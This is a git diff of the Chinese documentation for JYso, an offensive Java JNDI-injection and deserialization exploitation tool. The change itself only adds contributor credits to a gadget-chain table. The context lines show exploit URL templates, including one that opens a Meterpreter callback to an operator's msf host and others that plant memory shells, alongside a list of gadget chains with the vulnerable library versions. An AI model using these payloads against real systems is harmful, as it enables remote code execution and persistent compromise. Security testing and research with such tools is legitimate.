diff --git a/JYso‐CN.md b/JYso‐CN.md index 92a24ed..c63f2df 100644 --- a/JYso‐CN.md +++ b/JYso‐CN.md @@ -209,7 +209,7 @@ ldap://127.0.0.1:1389/TomcatBypass/E-Meterpreter/msf/[msf_ip]/[msf_port] - 命令 `MS-WSFMSFromThread-...`:通过线程类加载器获取指定上下文系统内植入 Websphere Filter 型内存马 + JNDI-Injection-Exploit 用法: - + shell后可以加额外参数,需要base64编码,参数具体看1.5 + + shell后可以加额外参数,需要base64编码,参数具体看1.5 ``` ldap://127.0.0.1:1389/[Basic or TomcatBypass]/[M-MS-MemShellClass-...]/shell/base64params ``` @@ -342,21 +342,21 @@ ldap://127.0.0.1:1389/Deserialization/SignedObject/command/Base64/CC:commonscoll Payload Authors Dependencies ------- ------- ------------ AspectJWeaver @Jang aspectjweaver:1.9.2, commons-collections:3.2.2 - AspectJWeaver2 aspectjweaver:1.9.2, commons-collections:3.2.2 + AspectJWeaver2 @QI4L aspectjweaver:1.9.2, commons-collections:3.2.2 BeanShell1 @pwntester, @cschneider4711 bsh:2.0b5 BeanShell2 @killer bsh:2.0b1 C3P0 @mbechler c3p0:0.9.5.2, mchange-commons-java:0.2.11 - C3P02 c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35 - C3P03 c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35, groovy:2.3.9 - C3P04 c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35, snakeyaml:1.30 + C3P02 @QI4L c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35 + C3P03 @QI4L c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35, groovy:2.3.9 + C3P04 @QI4L c3p0:0.9.5.2, mchange-commons-java:0.2.11, tomcat:8.5.35, snakeyaml:1.30 C3P092 @mbechler c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8, mchange-commons-java:0.2.11 Click1 @artsploit click-nodeps:2.3.0, javax.servlet-api:3.1.0 Clojure @JackOfMostTrades clojure:1.8.0 CommonsBeanutils1 @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 - CommonsBeanutils1183NOCC commons-beanutils:1.8.3 - CommonsBeanutils1JDBC @frohoff commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 - CommonsBeanutils2 commons-beanutils:1.9.2 - CommonsBeanutils2JDBC @frohoff commons-beanutils:1.9.2 + CommonsBeanutils1183NOCC @QI4L commons-beanutils:1.8.3 + CommonsBeanutils1JDBC @QI4L commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 + CommonsBeanutils2 @CCKUAILONG commons-beanutils:1.9.2 + CommonsBeanutils2JDBC @QI4L commons-beanutils:1.9.2 CommonsBeanutils3 CommonsBeanutils4 CommonsBeanutils2NOCC commons-beanutils:1.8.3, commons-logging:1.2